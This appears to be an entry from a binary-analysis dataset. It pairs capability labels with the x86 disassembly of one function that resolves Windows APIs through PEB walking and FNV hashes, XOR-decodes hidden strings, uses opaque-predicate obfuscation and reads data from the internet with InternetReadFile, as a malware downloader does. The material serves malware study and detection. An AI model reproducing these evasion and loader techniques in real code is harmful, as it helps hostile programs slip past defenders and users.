Function at 0x4059f4
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Get process heap flags
Hash data using fnv
Read data from internet
Receive data
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x90
mov esi, esp
mov dword [esi + 0x78], ebp
lea eax, [esi + 0x80]
mov dword [eax - 4], esp
mov dword [eax + 8], 0xffffffff
mov dword [eax + 4], 0x40a560
mov ecx, dword fs:[0]
mov dword [eax], ecx
mov dword fs:[0], eax
cmp dword [0x40f540], 0xa
jl 0x405a49
mov eax, dword [0x40f544]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x405a49
jmp 0x405a47
lea edx, [ebp + 8]
push eax
mov ecx, esp
sub esp, 0x3c
mov eax, esp
sub esp, 0x80
mov dword [esi + 0xc], esp
sub esp, 0x100
mov edi, esp
sub esp, 0x20
mov ebx, esp
and ebx, 0xfffffff0
mov dword [esi + 0x40], ebx
mov esp, ebx
push eax
sub esp, 0xc
mov ebx, esp
and ebx, 0xfffffff0
mov dword [esi + 0x3c], ebx
mov esp, ebx
push eax
mov dword [esi + 0x44], esp
push eax
mov dword [esi + 0x34], esp
push eax
mov dword [esi + 0x4c], esp
push eax
mov dword [esi + 0x48], esp
push eax
mov dword [esi + 0x30], esp
sub esp, 0x18
mov dword [esi + 0x2c], esp
xor ebx, ebx
mov dword [eax + 0x38], ebx
mov dword [eax + 0x34], ebx
mov dword [esi + 0x20], ecx
mov byte [ecx], 1
xorps xmm0, xmm0
movups xmmword [eax + 4], xmm0
movups xmmword [eax + 0x14], xmm0
movups xmmword [eax + 0x24], xmm0
mov dword [eax], 0x3c
mov ecx, dword [esi + 0xc]
mov dword [eax + 0x10], ecx
mov ecx, 0x80
mov dword [eax + 0x14], ecx
mov dword [eax + 0x2c], edi
mov dword [esi + 0x14], eax
mov ecx, 0x100
mov dword [eax + 0x30], ecx
mov eax, dword [edx]
mov dword [esi + 0x1c], eax
mov eax, dword [edx + 0x10]
mov dword [esi + 0x24], eax
mov eax, dword [edx + 0x14]
mov dword [esi + 0x38], eax
mov eax, dword fs:[0x30]
mov ecx, dword [eax + 0xc]
add ecx, 0xc
mov ecx, dword [ecx]
mov edx, dword [ecx + 0x18]
mov eax, dword [edx + 0x3c]
mov eax, dword [edx + eax + 0x78]
test eax, eax
je 0x405af6
mov edi, dword [edx + eax + 0x18]
test edi, edi
je 0x405af6
mov dword [esi + 0x28], ecx
mov dword [esi + 0x18], eax
mov eax, dword [edx + eax + 0x20]
add eax, edx
mov dword [esi + 0xc], eax
lea eax, [edx + 1]
mov dword [esi + 0x10], eax
mov eax, dword [esi + 0xc]
mov ebx, dword [eax + edi*4 - 4]
dec edi
mov cl, byte [edx + ebx]
test cl, cl
je 0x405b53
add ebx, dword [esi + 0x10]
mov eax, 0xc5306988
movsx ecx, cl
xor ecx, eax
imul eax, ecx, 0x1000193
mov cl, byte [ebx]
inc ebx
test cl, cl
jne 0x405b3a
cmp eax, 0xea32dea9
je 0x405b5c
test edi, edi
jne 0x405b23
mov ecx, dword [esi + 0x28]
jmp 0x405af6
cmp dword [esi + 0x38], 0x10
lea eax, [ebp + 8]
mov ebx, dword [esi + 0x1c]
cmovb ebx, eax
mov ecx, dword [esi + 0x18]
mov eax, dword [edx + ecx + 0x24]
add eax, edx
movzx eax, word [eax + edi*2]
mov ecx, dword [edx + ecx + 0x1c]
add ecx, edx
add edx, dword [ecx + eax*4]
xor eax, eax
mov dword [esi + 0x88], eax
push dword [esi + 0x14]
push eax
push dword [esi + 0x24]
push ebx
call edx
mov edx, dword [0x40f544]
mov ebx, dword [0x40f540]
lea ecx, [edx + 1]
imul ecx, edx
and ecx, 1
cmp ebx, 0xa
jl 0x405bb1
test ecx, ecx
je 0x405bb1
jmp 0x405baf
test eax, eax
mov eax, dword [esi + 0x20]
setne byte [eax]
je 0x405bd6
cmp dword [0x40f548], 0xa
jl 0x405c00
mov eax, dword [0x40f54c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x405c00
jmp 0x405bd4
mov dword [esi + 0xc], edx
mov dword [esi + 0x28], 0
cmp ebx, 0xa
jl 0x405d7e
mov edi, 0
mov edx, 0
test ecx, ecx
jne 0x405d7c
jmp 0x405e6e
mov eax, 0x1be526ee
mov ecx, 0x371f11d5
mov edx, 0xa51526b4
mov edi, dword [esi + 0x40]
mov dword [edi + 4], ecx
mov ecx, 0x38717fbb
mov dword [edi], eax
mov eax, 0x664bd940
mov dword [edi + 0xc], ecx
mov ecx, 0x2f269430
mov dword [edi + 8], edx
mov edx, 0x98d9cb28
mov dword [edi + 0x14], ecx
mov ecx, 0xa19ec1a5
mov dword [edi + 0x10], eax
mov dword [edi + 0x1c], ecx
mov dword [edi + 0x18], edx
mov ecx, 0x69864fa3
mov edx, 0x517062ba
lea eax, [esi + 0x50]
mov dword [eax + 4], edx
mov dword [eax], ecx
mov ecx, 0xcb5c06c0
mov edx, 0x56031acf
mov dword [eax + 0xc], edx
mov dword [eax + 8], ecx
mov ecx, 0x236bad25
mov edx, 0x404ae448
mov dword [eax + 0x14], edx
mov edx, 0xa19ec1a5
mov dword [eax + 0x10], ecx
mov ecx, 0x98abae5a
mov dword [eax + 0x1c], edx
mov dword [eax + 0x18], ecx
xor ecx, ecx
movaps xmm0, xmmword [edi]
xorps xmm0, xmmword [eax]
movaps xmm1, xmmword [edi + 0x10]
movaps xmmword [edi], xmm0
xorps xmm1, xmmword [eax + 0x10]
movaps xmmword [edi + 0x10], xmm1
mov eax, dword fs:[0x30]
mov edx, dword [eax + 0xc]
add edx, 0xc
mov edx, dword [edx]
mov eax, dword [edx + 0x18]
mov ecx, dword [eax + 0x3c]
mov ecx, dword [eax + ecx + 0x78]
test ecx, ecx
je 0x405ca7
mov edi, dword [eax + ecx + 0x18]
test edi, edi
je 0x405ca7
mov dword [esi + 0x28], edx
mov dword [esi + 0x18], ecx
mov ecx, dword [eax + ecx + 0x20]
add ecx, eax
mov dword [esi + 0xc], ecx
lea ecx, [eax + 1]
mov dword [esi + 0x10], ecx
mov ecx, dword [esi + 0xc]
mov edx, dword [ecx + edi*4 - 4]
dec edi
mov cl, byte [eax + edx]
test cl, cl
je 0x405d05
add edx, dword [esi + 0x10]
mov ebx, 0xce9db68
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x405ceb
cmp ebx, 0x700b8658
je 0x405d0e
test edi, edi
jne 0x405cd4
mov edx, dword [esi + 0x28]
jmp 0x405ca7
mov edx, dword [esi + 0x18]
mov ecx, dword [eax + edx + 0x1c]
add ecx, eax
mov edx, dword [eax + edx + 0x24]
add edx, eax
movzx edx, word [edx + edi*2]
add eax, dword [ecx + edx*4]
mov dword [esi + 0x88], 0
sub esp, 0x14
movaps xmm0, xmmword [0x40c210]
movups xmmword [esp + 4], xmm0
mov ecx, dword [esi + 0x40]
mov dword [esp], ecx
call eax
mov edx, dword [0x40f544]
mov ebx, dword [0x40f540]
lea ecx, [edx + 1]
imul ecx, edx
and ecx, 1
cmp ebx, 0xa
jl 0x405d65
test ecx, ecx
je 0x405d65
jmp 0x405d63
mov dword [esi + 0xc], edx
mov dword [esi + 0x28], eax
test eax, eax
mov eax, dword [esi + 0x20]
setns byte [eax]
cmp ebx, 0xa
jl 0x405d82
test ecx, ecx
je 0x405d82
jmp 0x405d7c
xor edi, edi
jmp 0x405dfe
xor edi, edi
mov eax, dword [esi + 0x28]
test eax, eax
js 0x405dfe
mov eax, dword fs:[0x30]
mov edx, dword [eax + 0xc]
add edx, 0xc
mov edx, dword [edx]
mov eax, dword [edx + 0x18]
mov ecx, dword [eax + 0x3c]
mov ecx, dword [eax + ecx + 0x78]
test ecx, ecx
je 0x405d97
mov edi, dword [eax + ecx + 0x18]
test edi, edi
je 0x405d97
mov dword [esi + 0x18], edx
mov dword [esi + 0x1c], ecx
mov ecx, dword [eax + ecx + 0x20]
add ecx, eax
mov dword [esi + 0xc], ecx
lea ecx, [eax + 1]
mov dword [esi + 0x10], ecx
mov ecx, dword [esi + 0xc]
mov edx, dword [ecx + edi*4 - 4]
dec edi
mov cl, byte [eax + edx]
test cl, cl
je 0x405df5
add edx, dword [esi + 0x10]
mov ebx, 0x9a269e55
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x405ddb
cmp ebx, 0x60f643b9
je 0x405e02
test edi, edi
jne 0x405dc4
mov edx, dword [esi + 0x18]
jmp 0x405d97
xor edx, edx
jmp 0x405e6e
mov edx, dword [esi + 0x1c]
mov ecx, dword [eax + edx + 0x24]
add ecx, eax
movzx ecx, word [ecx + edi*2]
mov edx, dword [eax + edx + 0x1c]
add edx, eax
add eax, dword [edx + ecx*4]
mov ecx, dword [esi + 0x14]
mov ecx, dword [ecx + 0x10]
xor edx, edx
mov dword [esi + 0x88], edx
sub esp, 0x20
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], edx
movaps xmm0, xmmword [0x40c220]
movups xmmword [esp + 8], xmm0
mov dword [esp + 4], ecx
mov ecx, dword [esi + 0x28]
mov dword [esp], ecx
call eax
test eax, eax
setns dl
mov ecx, dword [esi + 0x20]
setns byte [ecx]
mov edi, dword [0x40f544]
mov ebx, dword [0x40f540]
lea ecx, [edi + 1]
mov dword [esi + 0xc], edi
imul ecx, edi
mov edi, eax
and ecx, 1
cmp ebx, 0xa
jl 0x405e79
test ecx, ecx
je 0x405e79
jmp 0x405e77
test dl, dl
je 0x405e98
cmp dword [0x40f550], 0xa
jl 0x405ecd
mov eax, dword [0x40f554]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x405ecd
jmp 0x405e96
cmp ebx, 0xa
jl 0x405ea5
test ecx, ecx
jne 0x406019
mov dword [esi + 0x24], edi
mov eax, dword [esi + 0x34]
mov dword [eax], 4
mov dword [esi + 0x18], 0
xor eax, eax
cmp ebx, 0xa
jl 0x40601b
test ecx, ecx
je 0x40601b
jmp 0x405ecb
mov dword [esi + 0x24], edi
mov edx, 0x3dd500f3
mov dword [esi + 0xc], 0x517062ba
mov edi, 0x517062ba
mov eax, 0xcb5c06c0
mov ecx, dword [esi + 0x3c]
mov dword [ecx + 4], edi
mov edi, 0x56031acf
mov dword [esi + 0x10], eax
mov dword [ecx], edx
mov ebx, 0x69864fa3
mov edx, dword [esi + 0xc]
mov dword [esi + 0xc], edx
lea edx, [esi + 0x50]
mov eax, dword [esi + 0xc]
mov dword [edx + 4], eax
mov dword [edx], ebx
mov dword [ecx + 0xc], edi
mov dword [edx + 0xc], edi
mov eax, dword [esi + 0x10]
mov dword [ecx + 8], eax
mov dword [edx + 8], eax
xor eax, eax
movaps xmm0, xmmword [ecx]
xorps xmm0, xmmword [edx]
movaps xmmword [ecx], xmm0
mov eax, dword fs:[0x30]
mov edx, dword [eax + 0xc]
add edx, 0xc
mov edx, dword [edx]
mov eax, dword [edx + 0x18]
mov ecx, dword [eax + 0x3c]
mov ecx, dword [eax + ecx + 0x78]
test ecx, ecx
je 0x405f32
mov edi, dword [eax + ecx + 0x18]
test edi, edi
je 0x405f32
mov dword [esi + 0x18], edx
mov dword [esi + 0x1c], ecx
mov ecx, dword [eax + ecx + 0x20]
add ecx, eax
mov dword [esi + 0xc], ecx
lea ecx, [eax + 1]
mov dword [esi + 0x10], ecx
mov ecx, dword [esi + 0xc]
mov edx, dword [ecx + edi*4 - 4]
dec edi
mov cl, byte [eax + edx]
test cl, cl
je 0x405f90
add edx, dword [esi + 0x10]
mov ebx, 0x601feae5
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x405f76
cmp ebx, 0x40af279d
je 0x405f99
test edi, edi
jne 0x405f5f
mov edx, dword [esi + 0x18]
jmp 0x405f32
mov edx, dword [esi + 0x1c]
mov ecx, dword [eax + edx + 0x24]
add ecx, eax
movzx ecx, word [ecx + edi*2]
mov edx, dword [eax + edx + 0x1c]
add edx, eax
add eax, dword [edx + ecx*4]
mov ecx, dword [esi + 0x14]
mov ecx, dword [ecx + 0x2c]
xor edx, edx
mov dword [esi + 0x88], edx
push edx
push 0x800000
push edx
push 0x40cc8a
push edx
push ecx
push dword [esi + 0x3c]
push dword [esi + 0x24]
call eax
mov dword [esi + 0x18], eax
mov edi, dword [esi + 0x28]
mov eax, dword [0x40f544]
mov ebx, dword [0x40f540]
lea ecx, [eax + 1]
mov dword [esi + 0xc], eax
imul ecx, eax
and ecx, 1
cmp ebx, 0xa
jl 0x405ffb
test ecx, ecx
je 0x405ffb
jmp 0x405ff9
mov dword [esi + 0x28], edi
cmp dword [esi + 0x18], 0
mov eax, dword [esi + 0x20]
setns byte [eax]
cmp ebx, 0xa
jl 0x4060f7
test ecx, ecx
je 0x4060f7
jmp 0x406019
test al, al
je 0x40617d
mov eax, dword [esi + 0x44]
or byte [eax + 1], 0x31
mov eax, dword fs:[0x30]
mov edx, dword [eax + 0xc]
add edx, 0xc
mov edx, dword [edx]
mov eax, dword [edx + 0x18]
mov ecx, dword [eax + 0x3c]
mov ecx, dword [eax + ecx + 0x78]
test ecx, ecx
je 0x406036
mov edi, dword [eax + ecx + 0x18]
test edi, edi
je 0x406036
mov dword [esi + 0x14], edx
mov dword [esi + 0x1c], ecx
mov ecx, dword [eax + ecx + 0x20]
add ecx, eax
mov dword [esi + 0xc], ecx
lea ecx, [eax + 1]
mov dword [esi + 0x10], ecx
mov ecx, dword [esi + 0xc]
mov edx, dword [ecx + edi*4 - 4]
dec edi
mov cl, byte [eax + edx]
test cl, cl
je 0x406094
add edx, dword [esi + 0x10]
mov ebx, 0xfd79a644
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x40607a
cmp ebx, 0x120f2ad9
je 0x40609d
test edi, edi
jne 0x406063
mov edx, dword [esi + 0x14]
jmp 0x406036
mov edx, dword [esi + 0x1c]
mov ecx, dword [eax + edx + 0x1c]
add ecx, eax
mov edx, dword [eax + edx + 0x24]
add edx, eax
movzx edx, word [edx + edi*2]
add eax, dword [ecx + edx*4]
mov dword [esi + 0x88], 0
push 4
push dword [esi + 0x44]
push 0x1f
push dword [esi + 0x18]
call eax
mov edi, dword [esi + 0x24]
mov edx, dword [0x40f544]
mov ebx, dword [0x40f540]
lea ecx, [edx + 1]
mov dword [esi + 0xc], edx
imul ecx, edx
and ecx, 1
cmp ebx, 0xa
jl 0x406194
test ecx, ecx
je 0x406194
jmp 0x4060f5
mov eax, dword [esi + 0x34]
mov dword [eax], 4
cmp dword [esi + 0x18], 0
js 0x405eb8
mov eax, dword fs:[0x30]
mov edx, dword [eax + 0xc]
add edx, 0xc
mov edx, dword [edx]
mov eax, dword [edx + 0x18]
mov ecx, dword [eax + 0x3c]
mov ecx, dword [eax + ecx + 0x78]
test ecx, ecx
je 0x406116
mov edi, dword [eax + ecx + 0x18]
test edi, edi
je 0x406116
mov dword [esi + 0x14], edx
mov dword [esi + 0x1c], ecx
mov ecx, dword [eax + ecx + 0x20]
add ecx, eax
mov dword [esi + 0xc], ecx
lea ecx, [eax + 1]
mov dword [esi + 0x10], ecx
mov ecx, dword [esi + 0xc]
mov edx, dword [ecx + edi*4 - 4]
dec edi
mov cl, byte [eax + edx]
test cl, cl
je 0x406174
add edx, dword [esi + 0x10]
mov ebx, 0xee8d165f
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x40615a
cmp ebx, 0xb503873e
je 0x4061a7
test edi, edi
jne 0x406143
mov edx, dword [esi + 0x14]
jmp 0x406116
xor eax, eax
cmp ebx, 0xa
mov edi, dword [esi + 0x24]
jl 0x4062fa
test ecx, ecx
jne 0x4061a5
jmp 0x4062fa
test eax, eax
mov edx, dword [esi + 0x20]
setne byte [edx]
cmp ebx, 0xa
jl 0x4061fc
test ecx, ecx
je 0x4061fc
jmp 0x4061a5
mov edx, dword [esi + 0x1c]
mov ecx, dword [eax + edx + 0x1c]
add ecx, eax
mov edx, dword [eax + edx + 0x24]
add edx, eax
movzx edx, word [edx + edi*2]
add eax, dword [ecx + edx*4]
mov dword [esi + 0x88], 0
push dword [esi + 0x34]
push dword [esi + 0x44]
push 0x1f
push dword [esi + 0x18]
call eax
test eax, eax
setne al
mov ecx, dword [esi + 0x20]
setne byte [ecx]
mov edi, dword [0x40f544]
mov ebx, dword [0x40f540]
lea ecx, [edi + 1]
mov dword [esi + 0xc], edi
imul ecx, edi
and ecx, 1
jmp 0x405eba
test eax, eax
je 0x4062eb
lea eax, [ebp + 8]
mov eax, dword [eax + 0x18]
mov ecx, dword [eax]
mov dword [esi + 0x3c], ecx
mov ecx, dword [eax + 0x10]
mov dword [esi + 0x40], ecx
mov dword [esi + 0x38], eax
mov eax, dword [eax + 0x14]
mov dword [esi + 0x34], eax
mov eax, dword fs:[0x30]
mov ecx, dword [eax + 0xc]
add ecx, 0xc
mov ecx, dword [ecx]
mov edx, dword [ecx + 0x18]
mov eax, dword [edx + 0x3c]
mov eax, dword [edx + eax + 0x78]
test eax, eax
je 0x40622a
mov ebx, dword [edx + eax + 0x18]
test ebx, ebx
je 0x40622a
mov dword [esi + 0x14], ecx
mov dword [esi + 0x1c], eax
mov eax, dword [edx + eax + 0x20]
add eax, edx
mov dword [esi + 0xc], eax
lea eax, [edx + 1]
mov dword [esi + 0x10], eax
mov eax, dword [esi + 0xc]
mov ecx, dword [eax + ebx*4 - 4]
dec ebx
mov al, byte [edx + ecx]
test al, al
je 0x406288
add ecx, dword [esi + 0x10]
mov edi, 0x668bd27c
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40626e
cmp edi, 0xb04228ca
je 0x406291
test ebx, ebx
jne 0x406257
mov ecx, dword [esi + 0x14]
jmp 0x40622a
cmp dword [esi + 0x34], 0x10
mov edi, dword [esi + 0x38]
cmovae edi, dword [esi + 0x3c]
mov ecx, dword [esi + 0x1c]
mov eax, dword [edx + ecx + 0x24]
add eax, edx
movzx eax, word [eax + ebx*2]
mov ecx, dword [edx + ecx + 0x1c]
add ecx, edx
add edx, dword [ecx + eax*4]
xor eax, eax
mov dword [esi + 0x88], eax
push dword [esi + 0x40]
push edi
push eax
push eax
push dword [esi + 0x18]
call edx
mov edi, dword [esi + 0x24]
mov edx, dword [0x40f544]
mov ebx, dword [0x40f540]
lea ecx, [edx + 1]
mov dword [esi + 0xc], edx
imul ecx, edx
and ecx, 1
cmp ebx, 0xa
jl 0x4062ef
test ecx, ecx
je 0x4062ef
jmp 0x4062e9
xor eax, eax
jmp 0x4062fa
test eax, eax
setne al
mov edx, dword [esi + 0x20]
setne byte [edx]
cmp ebx, 0xa
jl 0x406305
test ecx, ecx
je 0x406305
jmp 0x406303
test al, al
je 0x4063e4
mov dword [esi + 0x24], edi
mov eax, dword [esi + 0x4c]
mov dword [eax], 0
mov eax, dword [esi + 0x48]
mov dword [eax], 4
mov eax, dword fs:[0x30]
mov edx, dword [eax + 0xc]
add edx, 0xc
mov edx, dword [edx]
mov eax, dword [edx + 0x18]
mov ecx, dword [eax + 0x3c]
mov ecx, dword [eax + ecx + 0x78]
test ecx, ecx
je 0x40632e
mov edi, dword [eax + ecx + 0x18]
test edi, edi
je 0x40632e
mov dword [esi + 0x14], edx
mov dword [esi + 0x1c], ecx
mov ecx, dword [eax + ecx + 0x20]
add ecx, eax
mov dword [esi + 0xc], ecx
lea ecx, [eax + 1]
mov dword [esi + 0x10], ecx
mov ecx, dword [esi + 0xc]
mov edx, dword [ecx + edi*4 - 4]
dec edi
mov cl, byte [eax + edx]
test cl, cl
je 0x40638c
add edx, dword [esi + 0x10]
mov ebx, 0xaf6e201
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x406372
cmp ebx, 0x936f6b06
je 0x406395
test edi, edi
jne 0x40635b
mov edx, dword [esi + 0x14]
jmp 0x40632e
mov edx, dword [esi + 0x1c]
mov ecx, dword [eax + edx + 0x1c]
add ecx, eax
mov edx, dword [eax + edx + 0x24]
add edx, eax
movzx edx, word [edx + edi*2]
add eax, dword [ecx + edx*4]
xor ecx, ecx
mov dword [esi + 0x88], ecx
push ecx
push dword [esi + 0x48]
push dword [esi + 0x4c]
push 0x20000013
push dword [esi + 0x18]
call eax
mov edx, dword [0x40f544]
mov ebx, dword [0x40f540]
lea ecx, [edx + 1]
imul ecx, edx
and ecx, 1
cmp ebx, 0xa
jl 0x4063fe
test ecx, ecx
je 0x4063fe
jmp 0x4063e2
cmp ebx, 0xa
jl 0x4063ed
test ecx, ecx
jne 0x406412
mov dword [esi + 0x24], edi
mov eax, dword [esi + 0x30]
mov dword [eax], 0
jmp 0x406498
mov dword [esi + 0xc], edx
test eax, eax
mov edx, dword [esi + 0x20]
setne byte [edx]
cmp ebx, 0xa
jl 0x406414
test ecx, ecx
je 0x406414
jmp 0x406412
mov edx, dword [esi + 0x30]
mov dword [edx], 0
test eax, eax
je 0x406498
mov eax, dword fs:[0x30]
mov edx, dword [eax + 0xc]
add edx, 0xc
mov edx, dword [edx]
mov eax, dword [edx + 0x18]
mov ecx, dword [eax + 0x3c]
mov ecx, dword [eax + ecx + 0x78]
test ecx, ecx
je 0x40642d
mov edi, dword [eax + ecx + 0x18]
test edi, edi
je 0x40642d
mov dword [esi + 0x14], edx
mov dword [esi + 0x1c], ecx
mov ecx, dword [eax + ecx + 0x20]
add ecx, eax
mov dword [esi + 0xc], ecx
lea ecx, [eax + 1]
mov dword [esi + 0x10], ecx
mov ecx, dword [esi + 0xc]
mov edx, dword [ecx + edi*4 - 4]
dec edi
mov cl, byte [eax + edx]
test cl, cl
je 0x40648f
add edx, dword [esi + 0x10]
mov ebx, 0x906407aa
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x406471
cmp ebx, 0x296c6104
je 0x406650
test edi, edi
jne 0x40645a
mov edx, dword [esi + 0x14]
jmp 0x40642d
xor eax, eax
cmp ebx, 0xa
jl 0x4064a5
test ecx, ecx
je 0x4064a5
jmp 0x4064a3
mov dword [esi + 0x14], ebx
test al, al
je 0x40669d
mov eax, dword [esi + 0x30]
mov eax, dword [eax]
mov dword [esi + 0x1c], eax
push eax
call fcn.0040a798
add esp, 4
mov dword [esi + 0x10], eax
push dword [esi + 0x1c]
push 0
push dword [esi + 0x10]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov ecx, dword [esi + 0x14]
mov edx, dword [esi + 0xc]
cmp ecx, 0xa
jl 0x4064ee
lea eax, [edx + 1]
imul eax, edx
and eax, 1
jne 0x40664c
mov edi, dword [esi + 0x30]
push edi
push dword [edi]
push dword [esi + 0x10]
push dword [esi + 0x18]
call dword [sym.imp.WININET.dll_InternetReadFile]
mov edx, dword [edi]
cmp dword [0x40f540], 0xa
jl 0x406537
mov ecx, dword [0x40f544]
lea edi, [ecx + 1]
imul edi, ecx
and edi, 1
je 0x406537
mov edi, dword [esi + 0x30]
push edi
push edx
push dword [esi + 0x10]
mov ebx, dword [esi + 0x18]
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
push edi
push dword [edi]
push dword [esi + 0x10]
push ebx
jmp 0x4064fa
test eax, eax
setne cl
mov eax, dword [esi + 0x20]
setne byte [eax]
test edx, edx
je 0x40673d
xor eax, eax
mov ecx, dword [esi + 0x2c]
mov dword [ecx + 0x14], eax
mov dword [ecx + 0x10], eax
xorps xmm0, xmm0
movups xmmword [ecx], xmm0
mov dword [esi + 0x88], eax
push edx
push dword [esi + 0x10]
call fcn.0040361c
cmp dword [0x40f540], 0xa
jl 0x406587
mov eax, dword [0x40f544]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x40664e
mov edx, dword [esi + 0x2c]
cmp dword [edx + 0x14], 0x10
mov eax, edx
jb 0x406594
mov eax, dword [edx]
lea ecx, [ebp + 8]
mov ecx, dword [ecx + 0x1c]
mov edx, dword [edx + 0x10]
mov dword [esi + 0x88], 1
push edx
push eax
call fcn.00403698
cmp dword [0x40f540], 0xa
mov edi, dword [esi + 0x2c]
jl 0x406611
mov eax, dword [0x40f544]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x406611
mov eax, dword [edi + 0x14]
cmp eax, 0x10
jb 0x4065de
inc eax
push eax
push dword [edi]
call fcn.004035ea
add esp, 8
mov eax, dword [edi + 0x14]
cmp eax, 0x10
jb 0x4065f2
inc eax
push eax
push dword [edi]
call fcn.004035ea
add esp, 8
cmp dword [0x40f540], 0xa
jge 0x4065ba
jmp 0x406611
mov eax, dword [edi + 0x14]
cmp eax, 0x10
jb 0x406611
inc eax
push eax
push dword [edi]
call fcn.004035ea
add esp, 8
mov eax, dword [edi + 0x14]
cmp eax, 0x10
jb 0x406625
inc eax
push eax
push dword [edi]
call fcn.004035ea
add esp, 8
mov edx, dword [0x40f544]
mov ecx, dword [0x40f540]
lea eax, [edx + 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x4064da
test eax, eax
jne 0x4065fd
jmp 0x4064da
jmp 0x40664c
jmp 0x40664e
mov edx, dword [esi + 0x1c]
mov ecx, dword [eax + edx + 0x1c]
add ecx, eax
mov edx, dword [eax + edx + 0x24]
add edx, eax
movzx edx, word [edx + edi*2]
add eax, dword [ecx + edx*4]
xor ecx, ecx
mov dword [esi + 0x88], ecx
push ecx
push ecx
push dword [esi + 0x30]
push dword [esi + 0x18]
call eax
mov edi, dword [0x40f544]
mov edx, dword [0x40f540]
lea ecx, [edi + 1]
mov dword [esi + 0xc], edi
imul ecx, edi
and ecx, 1
mov ebx, edx
cmp edx, 0xa
jl 0x4066b0
test ecx, ecx
je 0x4066b0
jmp 0x40669b
mov dword [esi + 0x1c], 0
cmp dword [esi + 0x14], 0xa
jl 0x4066c0
test ecx, ecx
je 0x4066c0
jmp 0x4066ae
test eax, eax
setne al
mov edx, dword [esi + 0x20]
setne byte [edx]
jmp 0x40649a
cmp dword [esi + 0x18], 0
je 0x4067bc
mov eax, dword fs:[0x30]
mov edx, dword [eax + 0xc]
add edx, 0xc
mov edx, dword [edx]
mov eax, dword [edx + 0x18]
mov ecx, dword [eax + 0x3c]
mov ecx, dword [eax + ecx + 0x78]
test ecx, ecx
je 0x4066d6
mov edi, dword [eax + ecx + 0x18]
test edi, edi
je 0x4066d6
mov dword [esi + 0x14], edx
mov dword [esi + 0x38], ecx
mov ecx, dword [eax + ecx + 0x20]
add ecx, eax
mov dword [esi + 0xc], ecx
lea ecx, [eax + 1]
mov dword [esi + 0x10], ecx
mov ecx, dword [esi + 0xc]
mov edx, dword [ecx + edi*4 - 4]
dec edi
mov cl, byte [eax + edx]
test cl, cl
je 0x406734
add edx, dword [esi + 0x10]
mov ebx, 0x63cb47a1
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x40671a
cmp ebx, 0x83b20cd2
je 0x406775
test edi, edi
jne 0x406703
mov edx, dword [esi + 0x14]
jmp 0x4066d6
mov dword [esi + 0x1c], ecx
push dword [esi + 0x10]
call fcn.0040a762
add esp, 4
mov eax, dword [0x40f544]
mov edx, dword [0x40f540]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
mov dword [esi + 0x14], edx
cmp edx, 0xa
jl 0x4066a4
test ecx, ecx
je 0x4066a4
jmp 0x406773
mov edx, dword [esi + 0x38]
mov ecx, dword [eax + edx + 0x1c]
add ecx, eax
mov edx, dword [eax + edx + 0x24]
add edx, eax
movzx edx, word [edx + edi*2]
add eax, dword [ecx + edx*4]
mov dword [esi + 0x88], 0
push dword [esi + 0x18]
call eax
mov eax, dword [0x40f544]
mov edx, dword [0x40f540]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
mov dword [esi + 0x14], edx
cmp edx, 0xa
jl 0x4067bc
test ecx, ecx
je 0x4067bc
jmp 0x4067ba
cmp dword [esi + 0x14], 0xa
jl 0x4067c8
test ecx, ecx
je 0x4067c8
jmp 0x4067c6
cmp dword [esi + 0x24], 0
je 0x406897
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
add eax, 0xc
mov dword [esi + 0x14], eax
mov eax, dword [esi + 0x14]
mov eax, dword [eax]
mov dword [esi + 0x14], eax
mov eax, dword [eax + 0x18]
mov ecx, dword [eax + 0x3c]
mov edx, dword [eax + ecx + 0x78]
mov ecx, edx
mov dword [esi + 0x18], edx
test edx, edx
je 0x4067e1
mov ecx, dword [esi + 0x18]
mov edi, dword [eax + ecx + 0x18]
test edi, edi
je 0x4067e1
mov ecx, dword [esi + 0x18]
mov ecx, dword [eax + ecx + 0x20]
add ecx, eax
mov dword [esi + 0xc], ecx
lea ecx, [eax + 1]
mov dword [esi + 0x10], ecx
mov ecx, dword [esi + 0xc]
mov edx, dword [ecx + edi*4 - 4]
dec edi
mov cl, byte [eax + edx]
test cl, cl
je 0x40684a
add edx, dword [esi + 0x10]
mov ebx, 0x5bd154a5
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x406830
cmp ebx, 0x5c206806
je 0x406850
test edi, edi
jne 0x406819
jmp 0x4067e1
mov edx, dword [esi + 0x18]
mov ecx, dword [eax + edx + 0x1c]
add ecx, eax
mov edx, dword [eax + edx + 0x24]
add edx, eax
movzx edx, word [edx + edi*2]
